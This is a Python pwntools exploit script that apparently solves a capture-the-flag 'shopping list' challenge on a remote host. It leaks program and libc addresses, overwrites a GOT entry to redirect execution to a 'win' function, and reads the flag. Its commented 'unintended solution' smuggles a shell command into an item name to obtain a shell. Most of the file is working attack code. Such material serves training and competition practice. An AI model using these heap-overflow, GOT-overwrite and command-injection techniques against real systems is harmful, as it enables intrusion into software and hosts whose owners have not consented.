#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template '--host=152.96.15.5' '--port=1337' vuln
from pwn import *
from hackingscripts import util
from pyzbar.pyzbar import decode
from PIL import Image
import re

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'vuln')
libc = ELF("./libc.so.6", checksec=False)

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '152.96.15.5'
port = int(args.PORT or 1337)
ansi_escape = re.compile(r'\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])'.encode())

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      PIE enabled

def save_shopping_list(file_name):

    if isinstance(file_name, str):
        file_name = file_name.encode()

    io.recvuntil(b"> ")
    io.sendline(b"s")
    io.recvuntil(b"> ")
    io.sendline(file_name)

def add_item(item_name, item_count):

    if isinstance(item_name, str):
        item_name = item_name.encode()

    io.recvuntil(b"> ")
    io.sendline(b"a")
    io.recvuntil(b"> ")
    io.sendline(item_name)
    io.recvuntil(b"> ")
    io.sendline(str(item_count).encode())

def send_quit():
    io.recvuntil(b"> ")
    io.sendline(b"q")

def change_quantity(item_name, new_quantity):

    io.recvuntil(b"> ")
    io.sendline(b"c")

    if isinstance(item_name, str):
        item_name = item_name.encode()

    io.recvuntil(b"> ")
    io.sendline(item_name)
    io.recvuntil(b"> ")
    io.sendline(str(new_quantity).encode())
    leak = io.recvline()
    match = re.search(r"You've found my little secret, as a reward you will get: (.*)", leak.decode())
    return int(match[1], 16)

def edit_item(item_name, new_name):

    if isinstance(item_name, str):
        item_name = item_name.encode()
    if isinstance(new_name, str):
        new_name = new_name.encode()

    io.recvuntil(b"> ")
    io.sendline(b"e")
    io.recvuntil(b"> ")
    io.sendline(item_name)
    io.recvuntil(b"> ")
    io.sendline(new_name)

def list_items():
    io.recvuntil(b"> ")
    io.sendline(b"l")

    items = []
    while True:
        line = ansi_escape.sub(b'', io.recvline())
        match = re.match(r" - (\d+)x (.*)".encode(), line)
        if match:
            items.append((int(match[1]), match[2]))
        elif b"What do you want to do?" in line:
            break

    return items

def unicode_to_img(unicode):
    lines = unicode.split(b"\n")
    qr_size = len(lines) * 2 - 1
    pix_size = 10
    img = Image.new("RGB", (qr_size*pix_size, qr_size*pix_size))
    pix = img.load()

    color_map =  {
        "█": [(0, 0, 0), (0, 0, 0)],
        "▀": [(0, 0, 0), (255, 255, 255)],
        "▄": [(255, 255, 255), (0, 0, 0)],
        " ": [(255, 255, 255), (255, 255, 255)],
        "\xa0": [(255, 255, 255), (255, 255, 255)],
    }

    for ri, line in enumerate(lines):
        for ci, b in enumerate(line.decode()):
            color_top, color_bottom = color_map[b]
            for xi in range(pix_size):
                for yi in range(pix_size):
                    pix[ci*pix_size+yi,ri*2*pix_size+xi] = color_top
                    if ri < len(lines) - 1:
                        pix[ci*pix_size+yi,ri*2*pix_size+pix_size+xi] = color_bottom
    return img

io = start()
secret_name = "a"*1337
add_item(secret_name, 1)
leak = change_quantity(secret_name, 2)
print("[+] Got leak:", hex(leak))
exe.address = leak - exe.symbols["win"]
print("[+] PIE base:", hex(exe.address))
add_item("AAAA", 1000)
add_item("BBBB", 1000)
edit_item("BBBB", 0x80 * b"B" + p64(exe.got["puts"]))

items = list_items()
heap_leak = u64(util.pad(items[-1][1], 8))
libc.address = heap_leak - libc.symbols["puts"]
print("[+] LIBC base:", hex(libc.address))

edit_item("AAAA", (0x80 + 0x80) * b"A" + p64(libc.address + 0x1f60a8))
items = list_items()
strchrnul_func = u64(util.pad(items[-1][1], 8))
print('[+] strchrnul@plt:', hex(strchrnul_func))
edit_item(p64(strchrnul_func), p64(exe.symbols["win"]))
io.recvuntil(b"[q]uit\n")
io.sendline(b"cat /flag && exit")
qr_code = io.recvall()
io.close()
img = unicode_to_img(qr_code)
print("[+] Flag:", decode(img)[0].data.decode())

### Unintended solution:
# io = start()
# add_item("$(cp /bin/sh vuln)", 1)
# save_shopping_list("vuln")
# send_quit()
# io.close()

# io = start()
# io.close()

# io = start()
# io.interactive()
###